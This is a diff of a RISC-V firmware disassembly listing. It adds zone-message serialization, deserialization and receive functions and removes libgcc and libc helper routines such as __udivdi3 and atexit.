+20401d84:	1141                	addi	sp,sp,-16
+20401d86:	c226                	sw	s1,4(sp)
+20401d88:	84aa                	mv	s1,a0
+20401d8a:	00002517          	auipc	a0,0x2
+20401d8e:	4da50513          	addi	a0,a0,1242 # 20404264 <_exit+0x672>
+20401d92:	c606                	sw	ra,12(sp)
+20401d94:	c422                	sw	s0,8(sp)
+20401d96:	c04a                	sw	s2,0(sp)
+20401d98:	892e                	mv	s2,a1
+20401d9a:	13f000ef          	jal	ra,204026d8 <strlen>
+20401d9e:	0004d783          	lhu	a5,0(s1)
+20401da2:	078d                	addi	a5,a5,3
+20401da4:	953e                	add	a0,a0,a5
+20401da6:	682000ef          	jal	ra,20402428 <malloc>
+20401daa:	842a                	mv	s0,a0
+20401dac:	00002517          	auipc	a0,0x2
+20401db0:	4b850513          	addi	a0,a0,1208 # 20404264 <_exit+0x672>
+20401db4:	125000ef          	jal	ra,204026d8 <strlen>
+20401db8:	00150613          	addi	a2,a0,1
+20401dbc:	00002597          	auipc	a1,0x2
+20401dc0:	4a858593          	addi	a1,a1,1192 # 20404264 <_exit+0x672>
+20401dc4:	8522                	mv	a0,s0
+20401dc6:	672000ef          	jal	ra,20402438 <memcpy>
+20401dca:	00002517          	auipc	a0,0x2
+20401dce:	49a50513          	addi	a0,a0,1178 # 20404264 <_exit+0x672>
+20401dd2:	107000ef          	jal	ra,204026d8 <strlen>
+20401dd6:	00150713          	addi	a4,a0,1
+20401dda:	0004d603          	lhu	a2,0(s1)
+20401dde:	00350793          	addi	a5,a0,3
+20401de2:	0742                	slli	a4,a4,0x10
+20401de4:	40cc                	lw	a1,4(s1)
+20401de6:	8341                	srli	a4,a4,0x10
+20401de8:	07c2                	slli	a5,a5,0x10
+20401dea:	83c1                	srli	a5,a5,0x10
+20401dec:	9722                	add	a4,a4,s0
+20401dee:	00f40533          	add	a0,s0,a5
+20401df2:	00c71023          	sh	a2,0(a4) # c002000 <__stack_size+0xc001800>
+20401df6:	2589                	jal	20402438 <memcpy>
+20401df8:	4785                	li	a5,1
+20401dfa:	00f91463          	bne	s2,a5,20401e02 <serializeZoneMessage+0x7e>
+20401dfe:	8526                	mv	a0,s1
+20401e00:	372d                	jal	20401d2a <freeZoneMessage>
+20401e02:	40b2                	lw	ra,12(sp)
+20401e04:	8522                	mv	a0,s0
+20401e06:	4422                	lw	s0,8(sp)
+20401e08:	4492                	lw	s1,4(sp)
+20401e0a:	4902                	lw	s2,0(sp)
+20401e0c:	0141                	addi	sp,sp,16
+20401e0e:	8082                	ret
 
-20402c3e <__udivdi3>:
-20402c3e:	88aa                	mv	a7,a0
-20402c40:	87ae                	mv	a5,a1
-20402c42:	8832                	mv	a6,a2
-20402c44:	8536                	mv	a0,a3
-20402c46:	8346                	mv	t1,a7
-20402c48:	20069663          	bnez	a3,20402e54 <__udivdi3+0x216>
-20402c4c:	00003697          	auipc	a3,0x3
-20402c50:	09c68693          	addi	a3,a3,156 # 20405ce8 <__clz_tab>
-20402c54:	0ac5ff63          	bgeu	a1,a2,20402d12 <__udivdi3+0xd4>
-20402c58:	6741                	lui	a4,0x10
-20402c5a:	0ae67563          	bgeu	a2,a4,20402d04 <__udivdi3+0xc6>
-20402c5e:	0ff00713          	li	a4,255
-20402c62:	00c73733          	sltu	a4,a4,a2
-20402c66:	070e                	slli	a4,a4,0x3
-20402c68:	00e65533          	srl	a0,a2,a4
-20402c6c:	96aa                	add	a3,a3,a0
-20402c6e:	0006c683          	lbu	a3,0(a3)
-20402c72:	02000513          	li	a0,32
-20402c76:	9736                	add	a4,a4,a3
-20402c78:	40e506b3          	sub	a3,a0,a4
-20402c7c:	00e50b63          	beq	a0,a4,20402c92 <__udivdi3+0x54>
-20402c80:	00d795b3          	sll	a1,a5,a3
-20402c84:	00e8d733          	srl	a4,a7,a4
-20402c88:	00d61833          	sll	a6,a2,a3
-20402c8c:	8dd9                	or	a1,a1,a4
-20402c8e:	00d89333          	sll	t1,a7,a3
-20402c92:	01085893          	srli	a7,a6,0x10
-20402c96:	0315d6b3          	divu	a3,a1,a7
-20402c9a:	01081613          	slli	a2,a6,0x10
-20402c9e:	8241                	srli	a2,a2,0x10
-20402ca0:	01035793          	srli	a5,t1,0x10
-20402ca4:	0315f733          	remu	a4,a1,a7
-20402ca8:	8536                	mv	a0,a3
-20402caa:	02d605b3          	mul	a1,a2,a3
-20402cae:	0742                	slli	a4,a4,0x10
-20402cb0:	8fd9                	or	a5,a5,a4
-20402cb2:	00b7fc63          	bgeu	a5,a1,20402cca <__udivdi3+0x8c>
-20402cb6:	97c2                	add	a5,a5,a6
-20402cb8:	fff68513          	addi	a0,a3,-1
-20402cbc:	0107e763          	bltu	a5,a6,20402cca <__udivdi3+0x8c>
-20402cc0:	00b7f563          	bgeu	a5,a1,20402cca <__udivdi3+0x8c>
-20402cc4:	ffe68513          	addi	a0,a3,-2
-20402cc8:	97c2                	add	a5,a5,a6
-20402cca:	8f8d                	sub	a5,a5,a1
-20402ccc:	0317f733          	remu	a4,a5,a7
-20402cd0:	0342                	slli	t1,t1,0x10
-20402cd2:	01035313          	srli	t1,t1,0x10
-20402cd6:	0317d7b3          	divu	a5,a5,a7
-20402cda:	0742                	slli	a4,a4,0x10
-20402cdc:	00676333          	or	t1,a4,t1
-20402ce0:	02f606b3          	mul	a3,a2,a5
-20402ce4:	863e                	mv	a2,a5
-20402ce6:	00d37b63          	bgeu	t1,a3,20402cfc <__udivdi3+0xbe>
-20402cea:	9342                	add	t1,t1,a6
-20402cec:	fff78613          	addi	a2,a5,-1 # 10012fff <__stack_size+0x100127ff>
-20402cf0:	01036663          	bltu	t1,a6,20402cfc <__udivdi3+0xbe>
-20402cf4:	00d37463          	bgeu	t1,a3,20402cfc <__udivdi3+0xbe>
-20402cf8:	ffe78613          	addi	a2,a5,-2
-20402cfc:	0542                	slli	a0,a0,0x10
-20402cfe:	8d51                	or	a0,a0,a2
-20402d00:	4581                	li	a1,0
-20402d02:	a85d                	j	20402db8 <__udivdi3+0x17a>
-20402d04:	01000537          	lui	a0,0x1000
-20402d08:	4741                	li	a4,16
-20402d0a:	f4a66fe3          	bltu	a2,a0,20402c68 <__udivdi3+0x2a>
-20402d0e:	4761                	li	a4,24
-20402d10:	bfa1                	j	20402c68 <__udivdi3+0x2a>
-20402d12:	e601                	bnez	a2,20402d1a <__udivdi3+0xdc>
-20402d14:	4705                	li	a4,1
-20402d16:	02c75833          	divu	a6,a4,a2
-20402d1a:	6741                	lui	a4,0x10
-20402d1c:	08e87f63          	bgeu	a6,a4,20402dba <__udivdi3+0x17c>
-20402d20:	0ff00713          	li	a4,255
-20402d24:	01077363          	bgeu	a4,a6,20402d2a <__udivdi3+0xec>
-20402d28:	4521                	li	a0,8
-20402d2a:	00a85733          	srl	a4,a6,a0
-20402d2e:	96ba                	add	a3,a3,a4
-20402d30:	0006c703          	lbu	a4,0(a3)
-20402d34:	02000613          	li	a2,32
-20402d38:	972a                	add	a4,a4,a0
-20402d3a:	40e606b3          	sub	a3,a2,a4
-20402d3e:	08e61563          	bne	a2,a4,20402dc8 <__udivdi3+0x18a>
-20402d42:	410787b3          	sub	a5,a5,a6
-20402d46:	4585                	li	a1,1
-20402d48:	01085893          	srli	a7,a6,0x10
-20402d4c:	01081613          	slli	a2,a6,0x10
-20402d50:	8241                	srli	a2,a2,0x10
-20402d52:	01035713          	srli	a4,t1,0x10
-20402d56:	0317f6b3          	remu	a3,a5,a7
-20402d5a:	0317d7b3          	divu	a5,a5,a7
-20402d5e:	06c2                	slli	a3,a3,0x10
-20402d60:	8f55                	or	a4,a4,a3
-20402d62:	02f60e33          	mul	t3,a2,a5
-20402d66:	853e                	mv	a0,a5
-20402d68:	01c77c63          	bgeu	a4,t3,20402d80 <__udivdi3+0x142>
-20402d6c:	9742                	add	a4,a4,a6
-20402d6e:	fff78513          	addi	a0,a5,-1
-20402d72:	01076763          	bltu	a4,a6,20402d80 <__udivdi3+0x142>
-20402d76:	01c77563          	bgeu	a4,t3,20402d80 <__udivdi3+0x142>
-20402d7a:	ffe78513          	addi	a0,a5,-2
-20402d7e:	9742                	add	a4,a4,a6
-20402d80:	41c70733          	sub	a4,a4,t3
-20402d84:	031777b3          	remu	a5,a4,a7
-20402d88:	0342                	slli	t1,t1,0x10
-20402d8a:	01035313          	srli	t1,t1,0x10
-20402d8e:	03175733          	divu	a4,a4,a7
-20402d92:	07c2                	slli	a5,a5,0x10
-20402d94:	0067e333          	or	t1,a5,t1
-20402d98:	02e606b3          	mul	a3,a2,a4
-20402d9c:	863a                	mv	a2,a4
-20402d9e:	00d37b63          	bgeu	t1,a3,20402db4 <__udivdi3+0x176>
-20402da2:	9342                	add	t1,t1,a6
-20402da4:	fff70613          	addi	a2,a4,-1 # ffff <__stack_size+0xf7ff>
-20402da8:	01036663          	bltu	t1,a6,20402db4 <__udivdi3+0x176>
-20402dac:	00d37463          	bgeu	t1,a3,20402db4 <__udivdi3+0x176>
-20402db0:	ffe70613          	addi	a2,a4,-2
-20402db4:	0542                	slli	a0,a0,0x10
-20402db6:	8d51                	or	a0,a0,a2
-20402db8:	8082                	ret
-20402dba:	01000737          	lui	a4,0x1000
-20402dbe:	4541                	li	a0,16
-20402dc0:	f6e865e3          	bltu	a6,a4,20402d2a <__udivdi3+0xec>
-20402dc4:	4561                	li	a0,24
-20402dc6:	b795                	j	20402d2a <__udivdi3+0xec>
-20402dc8:	00d81833          	sll	a6,a6,a3
-20402dcc:	00e7d533          	srl	a0,a5,a4
-20402dd0:	00d89333          	sll	t1,a7,a3
-20402dd4:	00d797b3          	sll	a5,a5,a3
-20402dd8:	00e8d733          	srl	a4,a7,a4
-20402ddc:	01085893          	srli	a7,a6,0x10
-20402de0:	00f76633          	or	a2,a4,a5
-20402de4:	03157733          	remu	a4,a0,a7
-20402de8:	01081793          	slli	a5,a6,0x10
-20402dec:	83c1                	srli	a5,a5,0x10
-20402dee:	01065593          	srli	a1,a2,0x10
-20402df2:	03155533          	divu	a0,a0,a7
-20402df6:	0742                	slli	a4,a4,0x10
-20402df8:	8f4d                	or	a4,a4,a1
-20402dfa:	02a786b3          	mul	a3,a5,a0
-20402dfe:	85aa                	mv	a1,a0
-20402e00:	00d77c63          	bgeu	a4,a3,20402e18 <__udivdi3+0x1da>
-20402e04:	9742                	add	a4,a4,a6
-20402e06:	fff50593          	addi	a1,a0,-1 # ffffff <__stack_size+0xfff7ff>
-20402e0a:	01076763          	bltu	a4,a6,20402e18 <__udivdi3+0x1da>
-20402e0e:	00d77563          	bgeu	a4,a3,20402e18 <__udivdi3+0x1da>
-20402e12:	ffe50593          	addi	a1,a0,-2
-20402e16:	9742                	add	a4,a4,a6
-20402e18:	40d706b3          	sub	a3,a4,a3
-20402e1c:	0316f733          	remu	a4,a3,a7
-20402e20:	0642                	slli	a2,a2,0x10
-20402e22:	8241                	srli	a2,a2,0x10
-20402e24:	0316d6b3          	divu	a3,a3,a7
-20402e28:	0742                	slli	a4,a4,0x10
-20402e2a:	02d78533          	mul	a0,a5,a3
-20402e2e:	00c767b3          	or	a5,a4,a2
-20402e32:	8736                	mv	a4,a3
-20402e34:	00a7fc63          	bgeu	a5,a0,20402e4c <__udivdi3+0x20e>
-20402e38:	97c2                	add	a5,a5,a6
-20402e3a:	fff68713          	addi	a4,a3,-1
-20402e3e:	0107e763          	bltu	a5,a6,20402e4c <__udivdi3+0x20e>
-20402e42:	00a7f563          	bgeu	a5,a0,20402e4c <__udivdi3+0x20e>
-20402e46:	ffe68713          	addi	a4,a3,-2
-20402e4a:	97c2                	add	a5,a5,a6
-20402e4c:	05c2                	slli	a1,a1,0x10
-20402e4e:	8f89                	sub	a5,a5,a0
-20402e50:	8dd9                	or	a1,a1,a4
-20402e52:	bddd                	j	20402d48 <__udivdi3+0x10a>
-20402e54:	14d5e263          	bltu	a1,a3,20402f98 <__udivdi3+0x35a>
-20402e58:	6741                	lui	a4,0x10
-20402e5a:	02e6ff63          	bgeu	a3,a4,20402e98 <__udivdi3+0x25a>
-20402e5e:	0ff00713          	li	a4,255
-20402e62:	00d735b3          	sltu	a1,a4,a3
-20402e66:	058e                	slli	a1,a1,0x3
-20402e68:	00b6d533          	srl	a0,a3,a1
-20402e6c:	00003717          	auipc	a4,0x3
-20402e70:	e7c70713          	addi	a4,a4,-388 # 20405ce8 <__clz_tab>
-20402e74:	972a                	add	a4,a4,a0
-20402e76:	00074703          	lbu	a4,0(a4)
-20402e7a:	02000513          	li	a0,32
-20402e7e:	972e                	add	a4,a4,a1
-20402e80:	40e505b3          	sub	a1,a0,a4
-20402e84:	02e51163          	bne	a0,a4,20402ea6 <__udivdi3+0x268>
-20402e88:	4505                	li	a0,1
-20402e8a:	f2f6e7e3          	bltu	a3,a5,20402db8 <__udivdi3+0x17a>
-20402e8e:	00c8b533          	sltu	a0,a7,a2
-20402e92:	00154513          	xori	a0,a0,1
-20402e96:	b70d                	j	20402db8 <__udivdi3+0x17a>
-20402e98:	01000737          	lui	a4,0x1000
-20402e9c:	45c1                	li	a1,16
-20402e9e:	fce6e5e3          	bltu	a3,a4,20402e68 <__udivdi3+0x22a>
-20402ea2:	45e1                	li	a1,24
-20402ea4:	b7d1                	j	20402e68 <__udivdi3+0x22a>
-20402ea6:	00e65833          	srl	a6,a2,a4
-20402eaa:	00b696b3          	sll	a3,a3,a1
-20402eae:	00d86833          	or	a6,a6,a3
-20402eb2:	00e7d333          	srl	t1,a5,a4
-20402eb6:	01085e93          	srli	t4,a6,0x10
-20402eba:	03d376b3          	remu	a3,t1,t4
-20402ebe:	00b797b3          	sll	a5,a5,a1
-20402ec2:	00e8d733          	srl	a4,a7,a4
-20402ec6:	00b61e33          	sll	t3,a2,a1
-20402eca:	00f76633          	or	a2,a4,a5
-20402ece:	01081793          	slli	a5,a6,0x10
-20402ed2:	83c1                	srli	a5,a5,0x10
-20402ed4:	01065713          	srli	a4,a2,0x10
-20402ed8:	03d35333          	divu	t1,t1,t4
-20402edc:	06c2                	slli	a3,a3,0x10
-20402ede:	8f55                	or	a4,a4,a3
-20402ee0:	02678f33          	mul	t5,a5,t1
-20402ee4:	851a                	mv	a0,t1
-20402ee6:	01e77c63          	bgeu	a4,t5,20402efe <__udivdi3+0x2c0>
-20402eea:	9742                	add	a4,a4,a6
-20402eec:	fff30513          	addi	a0,t1,-1
-20402ef0:	01076763          	bltu	a4,a6,20402efe <__udivdi3+0x2c0>
-20402ef4:	01e77563          	bgeu	a4,t5,20402efe <__udivdi3+0x2c0>
-20402ef8:	ffe30513          	addi	a0,t1,-2
-20402efc:	9742                	add	a4,a4,a6
-20402efe:	41e70733          	sub	a4,a4,t5
-20402f02:	03d776b3          	remu	a3,a4,t4
-20402f06:	03d75733          	divu	a4,a4,t4
-20402f0a:	06c2                	slli	a3,a3,0x10
-20402f0c:	02e78333          	mul	t1,a5,a4
-20402f10:	01061793          	slli	a5,a2,0x10
-20402f14:	83c1                	srli	a5,a5,0x10
-20402f16:	8fd5                	or	a5,a5,a3
-20402f18:	863a                	mv	a2,a4
-20402f1a:	0067fc63          	bgeu	a5,t1,20402f32 <__udivdi3+0x2f4>
-20402f1e:	97c2                	add	a5,a5,a6
-20402f20:	fff70613          	addi	a2,a4,-1 # ffffff <__stack_size+0xfff7ff>
-20402f24:	0107e763          	bltu	a5,a6,20402f32 <__udivdi3+0x2f4>
-20402f28:	0067f563          	bgeu	a5,t1,20402f32 <__udivdi3+0x2f4>
-20402f2c:	ffe70613          	addi	a2,a4,-2
-20402f30:	97c2                	add	a5,a5,a6
-20402f32:	0542                	slli	a0,a0,0x10
-20402f34:	6ec1                	lui	t4,0x10
-20402f36:	8d51                	or	a0,a0,a2
-20402f38:	fffe8693          	addi	a3,t4,-1 # ffff <__stack_size+0xf7ff>
-20402f3c:	010e5613          	srli	a2,t3,0x10
-20402f40:	01055813          	srli	a6,a0,0x10
-20402f44:	406787b3          	sub	a5,a5,t1
-20402f48:	00d57333          	and	t1,a0,a3
-20402f4c:	00de76b3          	and	a3,t3,a3
-20402f50:	02d30e33          	mul	t3,t1,a3
-20402f54:	02d806b3          	mul	a3,a6,a3
-20402f58:	010e5713          	srli	a4,t3,0x10
-20402f5c:	02c30333          	mul	t1,t1,a2
-20402f60:	9336                	add	t1,t1,a3
-20402f62:	971a                	add	a4,a4,t1
-20402f64:	02c80833          	mul	a6,a6,a2
-20402f68:	00d77363          	bgeu	a4,a3,20402f6e <__udivdi3+0x330>
-20402f6c:	9876                	add	a6,a6,t4
-20402f6e:	01075693          	srli	a3,a4,0x10
-20402f72:	9836                	add	a6,a6,a3
-20402f74:	0307e063          	bltu	a5,a6,20402f94 <__udivdi3+0x356>
-20402f78:	d90794e3          	bne	a5,a6,20402d00 <__udivdi3+0xc2>
-20402f7c:	67c1                	lui	a5,0x10
-20402f7e:	17fd                	addi	a5,a5,-1
-20402f80:	8f7d                	and	a4,a4,a5
-20402f82:	0742                	slli	a4,a4,0x10
-20402f84:	00fe7e33          	and	t3,t3,a5
-20402f88:	00b898b3          	sll	a7,a7,a1
-20402f8c:	9772                	add	a4,a4,t3
-20402f8e:	4581                	li	a1,0
-20402f90:	e2e8f4e3          	bgeu	a7,a4,20402db8 <__udivdi3+0x17a>
-20402f94:	157d                	addi	a0,a0,-1
-20402f96:	b3ad                	j	20402d00 <__udivdi3+0xc2>
-20402f98:	4581                	li	a1,0
-20402f9a:	4501                	li	a0,0
-20402f9c:	bd31                	j	20402db8 <__udivdi3+0x17a>
+20401e10 <deserializeZoneMessage>:
+20401e10:	1141                	addi	sp,sp,-16
+20401e12:	c422                	sw	s0,8(sp)
+20401e14:	842a                	mv	s0,a0
+20401e16:	00002517          	auipc	a0,0x2
+20401e1a:	44e50513          	addi	a0,a0,1102 # 20404264 <_exit+0x672>
+20401e1e:	c606                	sw	ra,12(sp)
+20401e20:	c226                	sw	s1,4(sp)
+20401e22:	c04a                	sw	s2,0(sp)
+20401e24:	892e                	mv	s2,a1
+20401e26:	0b3000ef          	jal	ra,204026d8 <strlen>
+20401e2a:	00350493          	addi	s1,a0,3
+20401e2e:	00002517          	auipc	a0,0x2
+20401e32:	43650513          	addi	a0,a0,1078 # 20404264 <_exit+0x672>
+20401e36:	0a3000ef          	jal	ra,204026d8 <strlen>
+20401e3a:	9522                	add	a0,a0,s0
+20401e3c:	00155603          	lhu	a2,1(a0)
+20401e40:	94a2                	add	s1,s1,s0
+20401e42:	85a6                	mv	a1,s1
+20401e44:	4681                	li	a3,0
+20401e46:	4501                	li	a0,0
+20401e48:	3df5                	jal	20401d44 <setZoneMessage>
+20401e4a:	4785                	li	a5,1
+20401e4c:	84aa                	mv	s1,a0
+20401e4e:	00f91463          	bne	s2,a5,20401e56 <deserializeZoneMessage+0x46>
+20401e52:	8522                	mv	a0,s0
+20401e54:	2bf1                	jal	20402430 <free>
+20401e56:	40b2                	lw	ra,12(sp)
+20401e58:	4422                	lw	s0,8(sp)
+20401e5a:	4902                	lw	s2,0(sp)
+20401e5c:	8526                	mv	a0,s1
+20401e5e:	4492                	lw	s1,4(sp)
+20401e60:	0141                	addi	sp,sp,16
+20401e62:	8082                	ret
 
-20402f9e <abs>:
-20402f9e:	41f55793          	srai	a5,a0,0x1f
-20402fa2:	8d3d                	xor	a0,a0,a5
-20402fa4:	8d1d                	sub	a0,a0,a5
-20402fa6:	8082                	ret
+20401e64 <receiveZoneMessageLoop>:
+20401e64:	1101                	addi	sp,sp,-32
+20401e66:	c84a                	sw	s2,16(sp)
+20401e68:	892a                	mv	s2,a0
+20401e6a:	00002517          	auipc	a0,0x2
+20401e6e:	3fa50513          	addi	a0,a0,1018 # 20404264 <_exit+0x672>
+20401e72:	ce06                	sw	ra,28(sp)
+20401e74:	cc22                	sw	s0,24(sp)
+20401e76:	ca26                	sw	s1,20(sp)
+20401e78:	c64e                	sw	s3,12(sp)
+20401e7a:	84ae                	mv	s1,a1
+20401e7c:	c452                	sw	s4,8(sp)
+20401e7e:	c256                	sw	s5,4(sp)
+20401e80:	059000ef          	jal	ra,204026d8 <strlen>
+20401e84:	842a                	mv	s0,a0
+20401e86:	00002517          	auipc	a0,0x2
+20401e8a:	3de50513          	addi	a0,a0,990 # 20404264 <_exit+0x672>
+20401e8e:	04b000ef          	jal	ra,204026d8 <strlen>
+20401e92:	9526                	add	a0,a0,s1
+20401e94:	00155503          	lhu	a0,1(a0)
+20401e98:	040d                	addi	s0,s0,3
+20401e9a:	4981                	li	s3,0
+20401e9c:	942a                	add	s0,s0,a0
+20401e9e:	0442                	slli	s0,s0,0x10
+20401ea0:	8041                	srli	s0,s0,0x10
+20401ea2:	8522                	mv	a0,s0
+20401ea4:	2351                	jal	20402428 <malloc>
+20401ea6:	8a2a                	mv	s4,a0
+20401ea8:	00002517          	auipc	a0,0x2
+20401eac:	3bc50513          	addi	a0,a0,956 # 20404264 <_exit+0x672>
+20401eb0:	029000ef          	jal	ra,204026d8 <strlen>
+20401eb4:	4505                	li	a0,1
+20401eb6:	4abd                	li	s5,15
+20401eb8:	c10d                	beqz	a0,20401eda <receiveZoneMessageLoop+0x76>
+20401eba:	413407b3          	sub	a5,s0,s3
+20401ebe:	4641                	li	a2,16
+20401ec0:	00fac563          	blt	s5,a5,20401eca <receiveZoneMessageLoop+0x66>
+20401ec4:	01079613          	slli	a2,a5,0x10
+20401ec8:	8241                	srli	a2,a2,0x10
+20401eca:	013a0533          	add	a0,s4,s3
+20401ece:	09c1                	addi	s3,s3,16
+20401ed0:	85a6                	mv	a1,s1
+20401ed2:	09c2                	slli	s3,s3,0x10
+20401ed4:	2395                	jal	20402438 <memcpy>
+20401ed6:	0109d993          	srli	s3,s3,0x10
+20401eda:	0289f063          	bgeu	s3,s0,20401efa <receiveZoneMessageLoop+0x96>
+20401ede:	4505                	li	a0,1
+20401ee0:	00300073          	0x300073
+20401ee4:	85ca                	mv	a1,s2
+20401ee6:	450d                	li	a0,3
+20401ee8:	00300073          	0x300073
+20401eec:	0542                	slli	a0,a0,0x10
+20401eee:	c090                	sw	a2,0(s1)
+20401ef0:	c0d4                	sw	a3,4(s1)
+20401ef2:	c498                	sw	a4,8(s1)
+20401ef4:	c4dc                	sw	a5,12(s1)
+20401ef6:	8141                	srli	a0,a0,0x10
+20401ef8:	b7c1                	j	20401eb8 <receiveZoneMessageLoop+0x54>
+20401efa:	4462                	lw	s0,24(sp)
+20401efc:	40f2                	lw	ra,28(sp)
+20401efe:	44d2                	lw	s1,20(sp)
+20401f00:	4942                	lw	s2,16(sp)
+20401f02:	49b2                	lw	s3,12(sp)
+20401f04:	4a92                	lw	s5,4(sp)
+20401f06:	8552                	mv	a0,s4
+20401f08:	4a22                	lw	s4,8(sp)
+20401f0a:	4585                	li	a1,1
+20401f0c:	6105                	addi	sp,sp,32
+20401f0e:	b709                	j	20401e10 <deserializeZoneMessage>
 
-20402fa8 <atexit>:
-20402fa8:	85aa                	mv	a1,a0
-20402faa:	4681                	li	a3,0
-20402fac:	4601                	li	a2,0
-20402fae:	4501                	li	a0,0
-20402fb0:	15b0006f          	j	2040390a <__register_exitproc>
+20401f10 <receiveZoneMessageAndHandlePrintf2>:
+20401f10:	7179                	addi	sp,sp,-48
+20401f12:	d422                	sw	s0,40(sp)
+20401f14:	cc52                	sw	s4,24(sp)
+20401f16:	842a                	mv	s0,a0
+20401f18:	8a2e                	mv	s4,a1
+20401f1a:	4641                	li	a2,16
+20401f1c:	4581                	li	a1,0
+20401f1e:	850a                	mv	a0,sp
+20401f20:	d606                	sw	ra,44(sp)
+20401f22:	d226                	sw	s1,36(sp)
+20401f24:	d04a                	sw	s2,32(sp)
+20401f26:	ce4e                	sw	s3,28(sp)
+20401f28:	ca56                	sw	s5,20(sp)
+20401f2a:	23a9                	jal	20402474 <memset>
+20401f2c:	85a2                	mv	a1,s0
+20401f2e:	450d                	li	a0,3
+20401f30:	00300073          	0x300073
+20401f34:	c032                	sw	a2,0(sp)
+20401f36:	c236                	sw	a3,4(sp)
+20401f38:	c43a                	sw	a4,8(sp)
+20401f3a:	c63e                	sw	a5,12(sp)
+20401f3c:	e119                	bnez	a0,20401f42 <receiveZoneMessageAndHandlePrintf2+0x32>
+20401f3e:	4401                	li	s0,0
+20401f40:	a889                	j	20401f92 <receiveZoneMessageAndHandlePrintf2+0x82>
+20401f42:	00002517          	auipc	a0,0x2
+20401f46:	32250513          	addi	a0,a0,802 # 20404264 <_exit+0x672>
+20401f4a:	78e000ef          	jal	ra,204026d8 <strlen>
+20401f4e:	862a                	mv	a2,a0
+20401f50:	858a                	mv	a1,sp
+20401f52:	00002517          	auipc	a0,0x2
+20401f56:	31250513          	addi	a0,a0,786 # 20404264 <_exit+0x672>
+20401f5a:	790000ef          	jal	ra,204026ea <strncmp>
+20401f5e:	e521                	bnez	a0,20401fa6 <receiveZoneMessageAndHandlePrintf2+0x96>
+20401f60:	00002517          	auipc	a0,0x2
+20401f64:	30450513          	addi	a0,a0,772 # 20404264 <_exit+0x672>
+20401f68:	770000ef          	jal	ra,204026d8 <strlen>
+20401f6c:	081c                	addi	a5,sp,16
+20401f6e:	953e                	add	a0,a0,a5
+20401f70:	ff155603          	lhu	a2,-15(a0)
+20401f74:	858a                	mv	a1,sp
+20401f76:	00002517          	auipc	a0,0x2
+20401f7a:	32650513          	addi	a0,a0,806 # 2040429c <_exit+0x6aa>
+20401f7e:	2d95                	jal	204025f2 <iprintf>
+20401f80:	8522                	mv	a0,s0
+20401f82:	858a                	mv	a1,sp
+20401f84:	35c5                	jal	20401e64 <receiveZoneMessageLoop>
+20401f86:	842a                	mv	s0,a0
+20401f88:	00002517          	auipc	a0,0x2
+20401f8c:	33850513          	addi	a0,a0,824 # 204042c0 <_exit+0x6ce>
+20401f90:	258d                	jal	204025f2 <iprintf>
+20401f92:	50b2                	lw	ra,44(sp)
+20401f94:	8522                	mv	a0,s0
+20401f96:	5422                	lw	s0,40(sp)
+20401f98:	5492                	lw	s1,36(sp)
+20401f9a:	5902                	lw	s2,32(sp)
+20401f9c:	49f2                	lw	s3,28(sp)
+20401f9e:	4a62                	lw	s4,24(sp)
+20401fa0:	4ad2                	lw	s5,20(sp)
+20401fa2:	6145                	addi	sp,sp,48
+20401fa4:	8082                	ret
+20401fa6:	fff40493          	addi	s1,s0,-1
+20401faa:	00249a93          	slli	s5,s1,0x2
+20401fae:	80818913          	addi	s2,gp,-2040 # 8000d868 <recvBuffer.1>
+20401fb2:	015909b3          	add	s3,s2,s5
+20401fb6:	0009a503          	lw	a0,0(s3)
+20401fba:	4641                	li	a2,16
+20401fbc:	858a                	mv	a1,sp
+20401fbe:	29ad                	jal	20402438 <memcpy>
+20401fc0:	0009a703          	lw	a4,0(s3)
+20401fc4:	00649793          	slli	a5,s1,0x6
+20401fc8:	87418493          	addi	s1,gp,-1932 # 8000d8d4 <str.0>
+20401fcc:	94be                	add	s1,s1,a5
+20401fce:	0741                	addi	a4,a4,16
+20401fd0:	04048793          	addi	a5,s1,64
+20401fd4:	06e7e663          	bltu	a5,a4,20402040 <receiveZoneMessageAndHandlePrintf2+0x130>
+20401fd8:	00e9a023          	sw	a4,0(s3)
+20401fdc:	45c1                	li	a1,16
+20401fde:	850a                	mv	a0,sp
+20401fe0:	738000ef          	jal	ra,20402718 <strnlen>
+20401fe4:	47bd                	li	a5,15
+20401fe6:	f4a7ece3          	bltu	a5,a0,20401f3e <receiveZoneMessageAndHandlePrintf2+0x2e>
+20401fea:	4619                	li	a2,6
+20401fec:	00002597          	auipc	a1,0x2
+20401ff0:	e3c58593          	addi	a1,a1,-452 # 20403e28 <_exit+0x236>
+20401ff4:	4505                	li	a0,1
+20401ff6:	7a4000ef          	jal	ra,2040279a <write>
+20401ffa:	85a2                	mv	a1,s0
+20401ffc:	8626                	mv	a2,s1
+20401ffe:	00002517          	auipc	a0,0x2
+20402002:	28650513          	addi	a0,a0,646 # 20404284 <_exit+0x692>
+20402006:	23f5                	jal	204025f2 <iprintf>
+20402008:	45a9                	li	a1,10
+2040200a:	8526                	mv	a0,s1
+2040200c:	724000ef          	jal	ra,20402730 <strrchr>
+20402010:	e511                	bnez	a0,2040201c <receiveZoneMessageAndHandlePrintf2+0x10c>
+20402012:	00002517          	auipc	a0,0x2
+20402016:	e7250513          	addi	a0,a0,-398 # 20403e84 <_exit+0x292>
+2040201a:	2be1                	jal	204025f2 <iprintf>
+2040201c:	85d2                	mv	a1,s4
+2040201e:	00002517          	auipc	a0,0x2
+20402022:	27250513          	addi	a0,a0,626 # 20404290 <_exit+0x69e>
+20402026:	23f1                	jal	204025f2 <iprintf>
+20402028:	4619                	li	a2,6
+2040202a:	00002597          	auipc	a1,0x2
+2040202e:	ea658593          	addi	a1,a1,-346 # 20403ed0 <_exit+0x2de>
+20402032:	4505                	li	a0,1
+20402034:	9956                	add	s2,s2,s5
+20402036:	764000ef          	jal	ra,2040279a <write>
+2040203a:	00992023          	sw	s1,0(s2)
+2040203e:	b701                	j	20401f3e <receiveZoneMessageAndHandlePrintf2+0x2e>
+20402040:	0099a023          	sw	s1,0(s3)
+20402044:	bf61                	j	20401fdc <receiveZoneMessageAndHandlePrintf2+0xcc>
 
-20402fb4 <__libc_fini_array>:
-20402fb4:	1141                	addi	sp,sp,-16
-20402fb6:	c422                	sw	s0,8(sp)
-20402fb8:	c226                	sw	s1,4(sp)
-20402fba:	fffff417          	auipc	s0,0xfffff
-20402fbe:	8b640413          	addi	s0,s0,-1866 # 20401870 <exit>
-20402fc2:	fffff497          	auipc	s1,0xfffff
-20402fc6:	8ae48493          	addi	s1,s1,-1874 # 20401870 <exit>
-20402fca:	8c05                	sub	s0,s0,s1
-20402fcc:	c606                	sw	ra,12(sp)
-20402fce:	8409                	srai	s0,s0,0x2
